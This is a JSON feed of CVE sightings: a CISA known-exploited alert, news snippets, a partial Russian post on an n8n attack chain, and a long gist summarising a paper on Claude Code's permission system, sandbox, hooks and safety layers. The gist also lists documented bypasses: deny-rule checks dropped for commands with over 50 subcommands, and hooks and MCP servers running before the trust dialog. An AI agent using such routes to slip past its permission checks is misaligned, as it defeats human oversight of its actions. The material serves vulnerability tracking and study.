Out-of-Bounds Read Vulnerability\nCVE-2025-60710 Microsoft Windows Link Following Vulnerability\nCVE-2026-21643 Fortinet SQL Injection Vulnerability\nCVE-2026-34621 Adobe Acrobat and Reader Prototype Pollution Vulnerability\nThese types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.\nBinding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.\nAlthough BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of KEV Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nhttps://www.cisa.gov/news-events/alerts/2026/04/13/cisa-adds-seven-known-exploited-vulnerabilities-catalog", "creation_timestamp": "2026-08-18T19:00:05.597512Z"}, {"uuid": "4cfa2859-8b34-49b0-8ca5-06d5412a8cec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://t.me/VulnerabilityNews/41922", "content": "CISA Adds 6 Known Exploited Flaws in Fortinet, Microsoft, and Adobe Software\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on\u00a0Monday added half a dozen security flaws to its Known Exploited Vulnerabilities\u00a0(KEV) catalog, citing evidence of active exploitation.\nThe list of vulnerabilities is as follows\u00a0-\n\nCVE-2026-21643 (CVSS score: 9.1) -\u00a0 An SQL injection vulnerability in\u00a0 Fortinet FortiClient EMS that could allow an\nhttps://thehackernews.com/2026/04/cisa-adds-6-known-exploited-flaws-in.html", "creation_timestamp": "2026-08-18T19:00:04.986973Z"}, {"uuid": "4a42cba3-90e9-43f3-ace9-ca5794c7a80f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21273", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mt2nguemfe2b", "content": "\ud83d\udccc CVE-2026-21273 - is affected by an Improper Input Validation vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vuln... https://www.cyberhub.blog/cves/CVE-2026-21273", "creation_timestamp": "2026-08-14T17:07:08.225391Z"}, {"uuid": "b7b1b012-f634-4c05-a4a9-c34ced1530ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21891", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-07)", "content": "", "creation_timestamp": "2026-06-07T00:00:00.000000Z"}, {"uuid": "346bca72-688a-4b74-aed0-b7ddda1df007", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21218", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/116719508098466554", "content": "#OT #Advisory VDE-2026-064METTLER TOLEDO: LabX Standard Report on External Component Analysis - v21.3\nMultiple vulnerabilities have been discovered in LabX Standard v21.3.22. Most of the vulnerabilities are fixed in LabX Standard v21.4.23. The Vulnerabilities CVE-2025-69419, CVE-2026-0915, CVE-2025-15467 and CVE-2025-58187 are not yet fixed. The fix will be available in the upcoming releases.#CVE CVE-2025-68121, CVE-2018-15727, CVE-2025-15467, CVE-2023-36414, CVE-2024-0056, CVE-2025-68154, CVE-2026-24737, CVE-2021-24112, CVE-2025-58187, CVE-2025-9230, CVE-2025-15281, CVE-2026-21218, CVE-2026-26127, CVE-2026-26130, CVE-2026-0915, CVE-2026-2391, CVE-2026-22036, CVE-2024-43483, CVE-2023-29331, CVE-2025-69419, CVE-2025-46817\nhttps://certvde.com/en/advisories/vde-2026-064/\n#CSAF https://mettler-toledo.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-064.json", "creation_timestamp": "2026-06-09T09:46:01.842576Z"}, {"uuid": "1844817c-b9db-4696-af4f-b479fe0af84a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://t.me/CyberDispatch/2690", "content": "Attackers are actively exploiting a CVSS 10.0 Oracle WebLogic flaw\n\nCVE-2026-21962 can let unauthenticated attackers access or modify critical data in Oracle HTTP Server and WebLogic Server Proxy Plug-in via HTTP.", "creation_timestamp": "2026-08-29T20:00:04.443627Z"}, {"uuid": "1e3a24dc-5646-4aca-978b-13b8613326a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21279", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mt2xip67xd23", "content": "\ud83d\udccc CVE-2026-21279 - is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerabilit... https://www.cyberhub.blog/cves/CVE-2026-21279", "creation_timestamp": "2026-08-14T20:07:06.310738Z"}, {"uuid": "10ee61db-4925-4684-a496-30a089a06e64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-20)", "content": "", "creation_timestamp": "2026-08-21T10:15:11.390811Z"}, {"uuid": "ceab0635-e4aa-434d-a5e0-c5846e9c7ec1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21765", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnvtkccg7c2a", "content": "\ud83d\udccc CVE-2026-21765 - HCL BigFix Platform is affected by insecure permissions on private cryptographic keys.\u00a0 The private cryptographic keys located on a Windows host machi... https://www.cyberhub.blog/cves/CVE-2026-21765", "creation_timestamp": "2026-06-10T04:07:08.072545Z"}, {"uuid": "862749e4-ba7f-4d1c-a12e-2919070bdfc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21891", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-29)", "content": "", "creation_timestamp": "2026-08-30T10:00:07.299324Z"}, {"uuid": "f664d4ae-666e-4bf8-9a23-8ae5a697bc0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21637", "type": "seen", "source": "https://bsky.app/profile/securitycipher.bsky.social/post/3mo3no45zzu2h", "content": "Incomplete Fix for CVE-2026-21637: OCSPRequest and resumeSession Events Crash Node.js TLS Server via Unhandled Synchronous Exceptions\n\nhttps://hackerone.com/reports/3781015", "creation_timestamp": "2026-06-12T11:37:52.019627Z"}, {"uuid": "e3c37786-5f33-408e-b17e-d0ff6b936649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-14)", "content": "", "creation_timestamp": "2026-06-14T00:00:00.000000Z"}, {"uuid": "be442a59-f61f-448d-9f5b-739570ac608f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21852", "type": "seen", "source": "https://gist.github.com/khandar-william/a1ae7a335157d6a2a1dcb9abe1710327", "content": "# Dive into Claude Code: Core Technical Content\n\nReference: https://arxiv.org/pdf/2604.14228\n\n## Design Principles (Table 1)\n\n| Principle | Values Served | Design Question | Sections |\n|-----------|---------------|----------------|----------|\n| Deny-first with human escalation | Authority, Safety | Should unrecognized actions be allowed, blocked, or escalated to the human? | 5, 8, 9 |\n| Graduated trust spectrum | Authority, Adaptability | Fixed permission level, or a spectrum users traverse over time? | 5 |\n| Defense in depth with layered mechanisms | Safety, Authority, Reliability | Single safety boundary, or multiple overlapping ones using different techniques? | 3, 5 |\n| Externalized programmable policy | Safety, Authority, Adaptability | Hardcoded policy, or externalized configs with lifecycle hooks? | 5, 6 |\n| Context as scarce resource with progressive management | Reliability, Capability | What is the binding resource constraint, and how to manage it: single-pass truncation or graduated pipeline? | 4, 6, 7, 8 |\n| Append-only durable state | Reliability, Authority | Mutable state, checkpoint snapshots, or append-only logs? | 4, 9 |\n| Minimal scaffolding, maximal operational harness | Capability, Reliability | Invest in scaffolding-side reasoning, or operational infrastructure that lets the model reason freely? | 3, 4 |\n| Values over rules | Capability, Authority | Rigid decision procedures, or contextual judgment backed by deterministic guardrails? | 3, 5, 7 |\n| Composable multi-mechanism extensibility | Capability, Adaptability | One unified extension API, or layered mechanisms at different context costs? | 6 |\n| Reversibility-weighted risk assessment | Capability, Safety | Same oversight for all actions, or lighter for reversible and read-only ones? | 4, 5, 8 |\n| Transparent file-based configuration and memory | Adaptability, Authority | Opaque database, embedding-based retrieval, or user-visible version-controllable files? | 7 |\n| Isolated subagent boundaries | Reliability, Safety, Capability | Subagents share the parent's context and permissions, or operate in isolation? | 8 |\n| Graceful recovery and resilience | Reliability, Capability | Fail hard on errors, or silently recover and reserve human attention for unrecoverable situations? | 4, 5 |\n\n## High-Level System Structure (7 components)\n\n1. **User**: Submits prompts, approves permissions, reviews output.\n2. **Interfaces**: Interactive CLI, headless CLI (`claude -p`), Agent SDK, and IDE/Desktop/Browser.\n3. **Agent loop**: `queryLoop()` async generator in `query.ts`.\n4. **Permission system**: Deny-first rule evaluation (`permissions.ts`), auto-mode ML classifier, hook-based interception (`types/hooks.ts`).\n5. **Tools**: Up to 54 built-in tools (19 unconditional, 35 conditional) assembled via `assembleToolPool()` (`tools.ts`), merged with MCP-provided tools.\n6. **State & persistence**: Append-only JSONL session transcripts (`sessionStorage.ts`), global prompt history (`history.ts`), subagent sidechain files.\n7. **Execution environment**: Shell execution with optional sandboxing (`shouldUseSandbox.ts`), filesystem operations, web fetching, MCP server connections.\n\n## Five Subsystem Layers\n\n**Surface layer**: `src/entrypoints/` (SDK entry, coreTypes.ts, controlSchemas.ts, coreSchemas.ts), `src/screens/`, `src/components/` (ink framework).\n\n**Core layer**: `queryLoop()` async generator (`query.ts`), five sequential compaction shapers (`query.ts:365-453`).\n\n**Safety/action layer**: \n- Permission system (`permissions.ts`) with 7 permission modes (`types/permissions.ts`)\n- Auto-mode ML classifier (`yoloClassifier.ts`)\n- Hook pipeline spanning 27 event types (`coreTypes.ts`; output schemas in `types/hooks.ts`)\n- Tool pool assembly via `assembleToolPool()` (`tools.ts`)\n- Shell sandbox (`shouldUseSandbox.ts`)\n- Subagent spawning via `AgentTool` (`AgentTool.tsx`, `runAgent.ts`)\n\n**State layer**:\n- `getSystemContext()` and `getUserContext()` (`context.ts`) - memoized\n- `src/state/` - runtime application state\n- JSONL session transcripts at project-specific paths (`sessionStorage.ts`)\n- Four-level instruction hierarchy (`claudemd.ts`)\n- Sidechain transcripts (`sessionStorage.ts:247`)\n- Resume/fork operations (`conversationRecovery.ts`)\n\n**Backend layer**: `BashTool.tsx`, `PowerShellTool.tsx`, `src/remote/`, MCP client (`services/mcp/client.ts`), 42 tool subdirectories in `src/tools/`\n\n## Seven Independent Safety Layers\n\n1. **Tool pre-filtering** (`tools.ts`): Blanket-denied tools removed from model's view before any call.\n2. **Deny-first rule evaluation** (`permissions.ts`): Deny rules always take precedence over allow rules.\n3. **Permission mode constraints** (`types/permissions.ts`): Active mode determines baseline handling.\n4. **Auto-mode classifier**: ML-based classifier evaluates tool safety.\n5. **Shell sandboxing** (`shouldUseSandbox.ts`): Restricts filesystem and network access.\n6. **Not restoring permissions on resume** (`conversationRecovery.ts`): Session-scoped permissions not restored.\n7. **Hook-based interception** (`types/hooks.ts`): `PreToolUse` hooks modify permission decisions; `PermissionRequest` hooks resolve decisions.\n\n## Seven Permission Modes (`types/permissions.ts`)\n\n1. `plan`: Model must create plan; execution proceeds only after user approval.\n2. `default`: Standard interactive use. Most operations require user approval.\n3. `acceptEdits`: Edits within working directory and certain filesystem shell commands auto-approved.\n4. `auto`: ML-based classifier evaluates requests (gated by `TRANSCRIPT_CLASSIFIER`).\n5. `dontAsk`: No prompting, but deny rules still enforced.\n6. `bypassPermissions`: Skips most permission prompts, but safety-critical checks remain.\n7. `bubble`: Internal-only mode for subagent permission escalation to parent terminal.\n\n## Five Pre-Model Context Shapers (`query.ts` before every model call)\n\n1. **Budget reduction** (`applyToolResultBudget()`): Enforces per-message size limits on tool results, replaces oversized outputs with content references.\n2. **Snip** (`snipCompactIfNeeded()`, gated by `HISTORY_SNIP`): Lightweight trim removing older history segments.\n3. **Microcompact**: Fine-grained compression, always runs time-based path, optionally cache-aware path (gated by `CACHED_MICROCOMPACT`).\n4. **Context collapse** (gated by `CONTEXT_COLLAPSE`): Read-time projection over conversation history; summary messages live in collapse store, not REPL array.\n5. **Auto-compact**: Full model-generated summary via `compactConversation()` in `compact.ts`; fires only when context still exceeds pressure threshold after previous four shapers.\n\n## Four Extension Mechanisms (Section 6)\n\n**MCP servers**: Primary external tool integration. Configured from project, user, local, enterprise scopes. Client supports stdio, SSE, HTTP, WebSocket, SDK, IDE-specific variants.\n\n**Plugins**: Package and distribute bundles of MCP servers, skills, hooks, and commands.\n\n**Skills**: Domain-specific instructions injected into context; only frontmatter descriptions stay in prompt.\n\n**Hooks**: 27 hook events: tool authorization (PreToolUse, PostToolUse, PostToolUseFailure, PermissionRequest, PermissionDenied), session lifecycle (SessionStart, SessionEnd, Setup, Stop, StopFailure), user interaction (UserPromptSubmit, Elicitation, ElicitationResult), subagent coordination (SubagentStart, SubagentStop, Teammatedle, TaskCreated, TaskCompleted), context management (PreCompact, PostCompact, InstructionsLoaded, ConfigChange), workspace events (CwdChanged, FileChanged, WorktreeCreate, WorktreeRemove), notifications. Persisted hooks use four command types: `command`, `prompt`, `http`, `agent`.\n\n## CLAUDE.md Four-Level Hierarchy (`claudemd.ts`)\n\n1. **Managed memory** (`/etc/claude-code/CLAUDE.md`): OS-level policy for all users.\n2. **User memory** (`~/claude/CLAUDE.md`): Private global instructions.\n3. **Project memory** (`CLAUDE.md`, `claude/CLAUDE.md`, `.claude/rules/*.md` in project roots): Instructions checked into codebase.\n4. **Local memory** (`CLAUDE.local.md` in project roots): Git-ignored, private project-specific instructions.\n\nMemory files support `@include` directive for modular instruction sets. Syntax variants: `@path`, `@/relative`, `@~/home`, `@/absolute`. Works in leaf text nodes only (not inside code blocks).\n\n## Subagent Types (Section 8)\n\n**Built-in subagents**:\n- **Explore**: primarily read/search-oriented investigation, write/edit tools in deny-list\n- **Plan**: creates structured plans; execution proceeds through standard permission model\n- **General-purpose**: broadly capable, used when explicitly requested\n- **Claude Code Guide**: onboarding and documentation assistance with own permissionMode override\n- **Verification**: validation checks (test suites, linting)\n- **Statustime-setup**: terminal status line configuration\n\n**Custom subagents**: via `.claude/agents/*.md` files; YAML frontmatter specifies description, tools (allowlist), disallowedTools, model, effort, permissionMode, mcpServers, hooks, maxTurns, skills, memory scope, background flag, isolation mode.\n\n## Subagent Isolation Modes (`AgentTool.tsx`)\n\n- **Worktree**: Creates temporary git worktree, subagent gets its own copy of repository\n- **Remote** (internal-only): Launches in remote Claude Code Remote environment, always background\n- **In-process** (default): Shares filesystem with parent but operates in isolated conversation context\n\nPermission override logic (`runAgent.ts`): When subagent defines permissionMode, override applied unless parent already in `bypassPermissions`, `acceptEdits`, or `auto` mode (those always take precedence). Async agents: cascade of `canShowPermissionPrompts` first, then bubble mode, then default (sync show prompts, async do not).\n\n## Session Persistence (`sessionStorage.ts`)\n\nTranscript path: `join(projectDir, ${getSessionId()}.jsonl)`. Three independent persistence channels:\n\n1. **Session transcripts**: Conversation records (user, assistant, attachment, system messages, compaction markers, filehistory snapshots, attribution snapshots, content-replacement records)\n2. **Global prompt history**: `history.jsonl` at Claude configuration home directory (`history.ts`)\n3. **Subagent sidechains**: Separate `.jsonl` + `.meta.json` files per subagent\n\n`compact_boundary` marker records `headUuid`, `anchorUuid`, `tailUuid` via `annotateBoundaryWithPreservedSegment()` (`compact.ts`). Resume/fork (`conversationRecovery.ts`, `commands/branch/branch.ts`) do NOT restore session-scoped permissions.\n\n## Tool Pool Assembly Five-Step Pipeline (`tools.ts`)\n\n1. **Base tool enumeration**: `getAllBaseTools()` returns up to 54 tools (19 always included: BashTool, FileReadTool, AgentTool, SkillTool; 35 conditional)\n2. **Mode filtering**: `getTools()` applies mode-specific filtering; `CLAUDE_CODE_SIMPLE` mode only Bash, Read, Edit\n3. **Deny rule pre-filtering**: `filterToolsByDenyRules()` strips blanket-denied tools\n4. **MCP tool integration**: MCP tools from `appState.mcp.tools` filtered and merged\n5. **Deduplication**: By name, built-in tools take precedence over MCP tools\n\n## Tool Dispatch and Streaming Execution (`StreamingToolExecutor.ts`)\n\n- Sibling abort controller: Fires when any Bash tool errors, immediately terminating other in-flight subprocesses\n- Progress-available signal: Wakes up `getRemainingResults()` consumer when new output ready\n- Results buffered and emitted in order tools were received\n- Concurrent-read, serial-write execution model\n\n## Query Loop Stop Conditions\n\n1. No tool use (model produces only text content)\n2. Max turns (`maxTurns` limit reached)\n3. Context overflow (API returns `prompt_too_long`)\n4. Hook intervention (`PostToolUse` hook sets `hook_stopped_continuation`)\n5. Explicit abort (`abortController` signal fires)\n\n## Recovery Mechanisms\n\n- **Max output tokens escalation**: Up to three recovery attempts per turn (`MAX_OUTPUT_TOKENS_RECOVERY_LIMIT = 3`)\n- **Reactive compaction** (gated by `REACTIVE_COMPACT`): Summarizes just enough to free space; `hasAttemptedReactiveCompact` flag ensures at most once per turn\n- **Prompt-too-long handling**: First attempts context collapse overflow recovery and reactive compaction\n- **Streaming fallback**: `onStreamingFallback` callback handles streaming API issues\n- **Fallback model**: `fallbackModel` parameter enables switching to alternative model\n\n## 27 Hook Events (`coreTypes.ts`, `types/hooks.ts`)\n\nPermission flow hooks (5):\n- `PreToolUse`: returns `permissionDecision` (deny/ask), `permissionDecisionReason`, `updatedInput`\n- `PostToolUse`: injects `additionalContext`, for MCP tools returns `updatedMCPToolOutput`\n- `PostToolUseFailure`: injects `additionalContext` for error-specific guidance\n- `PermissionDenied`: provides retry guidance after auto-mode denials\n- `PermissionRequest`: returns `allow` or `deny` decision\n\nOther hook types: Session lifecycle, user interaction, subagent coordination, context management, workspace events, notifications.\n\nHook command types: `command` (shell), `prompt` (LLM), `http`, `agent` (agentic verifier), plus non-persistable `callback`.\n\n## MCP Client Transport Types (`services/mcp/client.ts`)\n\nstdio, SSE, HTTP, WebSocket, SDK, sse-ide, ws-ide\n\n## Context Injection Points (late injection after main window constructed)\n\n- Relevant-memory prefetch (`query.ts`)\n- MCP instructions deltas (new or changed server instructions)\n- Agent listing deltas\n- Background agent task notifications\n\n## File Structure Key Files\n\n| File | Size | Responsibility |\n|------|------|----------------|\n| `main.tsx` | 804KB | Entry point, mode dispatch, setup |\n| `query.ts` | 68KB | Core agent loop, 5 context shapers |\n| `QueryEngine.ts` | 47KB | SDK/headless conversation wrapper |\n| `Tool.ts` | 30KB | Tool interface, types, utilities |\n| `history.ts` | 14KB | Global prompt history |\n| `mcp/client.ts` | Large | MCP client (8+ transport variants) |\n| `compact.ts` | Large | Compaction engine |\n| `AgentTool.tsx` | Large | Agent tool, subagent dispatch |\n| `runAgent.ts` | Large | 21-parameter agent lifecycle |\n\n## Conditional Tool Availability Categories (`tools.ts`)\n\n- **Always included**: AgentTool, BashTool, FileReadTool, FileEditTool, FileWriteTool, SkillTool, WebFetchTool, WebSearchTool\n- **Environment**: GlobTool/GrepTool (unless embedded), ConfigTool (internal-only), PowerShellTool (Windows)\n- **Feature flag**: TaskCreate/Get/Update/List (todoV2), EnterWorktreeTool (worktree), TeamTools (swarms), ToolSearchTool\n- **Null-checked**: SuggestBackgroundPRTool, WebBrowserTool, RemoteTriggerTool, MonitorTool, SleepTool\n\n## Context Window Assembly Sources (Figure 6)\n\n1. System prompt (output style modifications, `--append-system-prompt` flag)\n2. Environment info via `getSystemContext()` (`context.ts`): git status, optional cache-breaking injection\n3. CLAUDE.md hierarchy via `getUserContext()` (`context.ts`)\n4. Path-scoped rules (conditional and directory-matched rules, lazy load)\n5. Auto memory (contextually relevant memory entries prefetched asynchronously)\n6. Tool metadata (skill descriptions, MCP tool names, deferred tool definitions via ToolSearch)\n7. Conversation history (subject to compaction)\n8. Tool results (file reads, command outputs, subagent summaries)\n9. Compact summaries (replacing older history segments)\n\n## Compacted Output Structure (`buildPostCompactMessages()` in `compact.ts`)\n\n```\n[boundaryMarker, ...summaryMessages, ...messagesToKeep, ...attachments, ...hookResults]\n```\n\nBoundary marker annotated with `headUuid`, `anchorUuid`, `tailUuid` via `annotateBoundaryWithPreservedSegment()`.\n\n## `runAgent()` 21 Parameters (`runAgent.ts`)\n\nAgent definition, prompts, permissions, tools, model settings, isolation, callbacks.\n\n## Two-Tier Permission Scoping for Subagents (`runAgent.ts`)\n\n- SDK-level permissions from `allowedTools` preserved (\"explicit permissions from the SDK consumer that should apply to all agents\")\n- Session-level rules replaced with subagent's declared `allowedTools`\n- When `allowedTools` not provided (common AgentTool path), parent's session-level rules inherited without replacement\n\n## Agent Teams Coordination\n\nFile locking rather than message broker or distributed coordination service. Tasks claimed from shared list via lock-file-based mutual exclusion. Lock files stored at predictable filesystem paths.\n\n## Security Vulnerabilities Documented\n\n- Commands with >50 subcommands fall back to single generic approval prompt instead of per-subcommand deny-rule checks (Adversa.ai, 2026)\n- Pre-trust initialization ordering: hooks, MCP server connections, settings file resolution run before interactive trust dialog (Donenfeld and Vanunu, 2026; CVE-2025-59536 CVSS 8.7, CVE-2026-21852 CVSS 5.3)\n- Multiple CVEs exploit pre-trust initialization of hooks and MCP servers\n\n## Empirical Data Points\n\n- 1.6% of codebase constitutes AI decision logic; 98.4% operational infrastructure\n- Users approve approximately 93% of permission prompts (Hughes, 2026)\n- Auto-approve rates increase from ~20% at <50 sessions to >40% by 750 sessions (McCain et al., 2026)\n- Sandboxing reduced permission prompt frequency by estimated 84% (Dworken and Weller-Davies, 2025)\n- Agent teams consume approximately 7\u00d7 tokens of standard session in plan mode (Anthropic, 2025b)\n- 27% of Claude Code-assisted tasks were work not attempted without the tool (Huang et al., 2025)\n- Developers in AI-assisted conditions scored 17% lower on comprehension tests (Shen and Tamkin, 2026)\n- Causal analysis of Cursor adoption across 807 repositories: code complexity increased by 40.7% (He et al., 2025)\n- AI tools made developers 19% slower despite perceived 20% improvement (Becker et al., 2025)\n- 304,000 AI-authored commits across 6,275 repositories: ~25% of AI-introduced issues persist to latest revision (Liu et al., 2026)", "creation_timestamp": "2026-06-15T11:06:36.000000Z"}, {"uuid": "532387f1-50ac-4619-805c-a61b6e5d8eff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21262", "type": "seen", "source": "https://bsky.app/profile/sqlfingers.bsky.social/post/3mofxjqvdu22v", "content": "xp_cmdshell: The Door Is Closed by Default. Keep It Shut.\n\nThis year's SQL Server CVEs have a common shape. CVE-2026-21262 (March Patch Tuesday, CVSS 8.8) lets an authenticated, low-privileged login climb to sysadmin over the network.\n\nwww.sqlfingers.com/2026/06/xpcm...", "creation_timestamp": "2026-06-16T14:01:02.821141Z"}, {"uuid": "51b79d8d-9b4f-4a34-b981-70f5ce4608d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "https://t.me/cyberok_news/173", "content": "\ud83c\udf84 \u0420\u043e\u0436\u0434\u0435\u0441\u0442\u0432\u0435\u043d\u0441\u043a\u0438\u0439 Ni8mare\n\n\u041f\u043e\u043a\u0430 \u0432\u0441\u0435 \u0434\u043e\u043f\u0438\u0432\u0430\u044e\u0442 \u0433\u043b\u0438\u043d\u0442\u0432\u0435\u0439\u043d, \u0443 n8n \u2014 \u0441\u0432\u043e\u044f \u0440\u043e\u0436\u0434\u0435\u0441\u0442\u0432\u0435\u043d\u0441\u043a\u0430\u044f \u0441\u043a\u0430\u0437\u043a\u0430: \u0446\u0435\u043f\u043e\u0447\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0441 \u0447\u0442\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0437\u0430\u0445\u0432\u0430\u0442\u043e\u043c \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u0430. \n\n\ud83d\udcca \u041c\u0430\u0441\u0448\u0442\u0430\u0431 \n\u0421\u041a\u0418\u041f\u0410 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0447\u0443\u0442\u044c \u043c\u0435\u043d\u0435\u0435 9000 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 n8n \u0432 \u0420\u0443\u043d\u0435\u0442\u0435. \u041f\u043e \u043e\u0446\u0435\u043d\u043a\u0435 CyberOK, \u043e\u043a\u043e\u043b\u043e 70% \u2014 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b  \u0438\u0437-\u0437\u0430 \u0432\u0435\u0440\u0441\u0438\u0439 \u0438/\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 webhook/form/endpoint-\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432.\n\n\ud83e\udde9 \u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a \n\u042d\u0442\u043e \u043d\u0435 \u00ab\u043e\u0434\u0438\u043d \u0431\u0430\u0433\u00bb, \u0430 \u043d\u0430\u0431\u043e\u0440 \u043f\u0443\u0442\u0435\u0439-\u0434\u043e\u0440\u043e\u0436\u0435\u043a, \u0433\u0434\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043d\u043e\u0434.\n\n1. CVE-2026-21858 \u2014 Arbitrary File Read (AFR)\n   \u0423\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 \u0432\u0445\u043e\u0434\u0430: \u0441\u0435\u043a\u0440\u0435\u0442\u044b, \u0442\u043e\u043a\u0435\u043d\u044b, \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0435, \u043a\u043e\u043d\u0444\u0438\u0433\u0438.\n\n2. CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)\n   \u0415\u0441\u043b\u0438 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u044b\u0442\u0430\u0449\u0438\u0442\u044c \u043d\u0443\u0436\u043d\u044b\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u044b/\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u2014 \u0434\u0430\u043b\u044c\u0448\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430.\n\n3. Pyodide Sandbox Escape \u2014 CVE-2025-68668 (\u043d\u0443\u0436\u0435\u043d Python Code Node)\n   \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442: \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0430\u043c, \u0433\u0434\u0435 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f Python Code Node. \u0417\u0430\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b \u0443 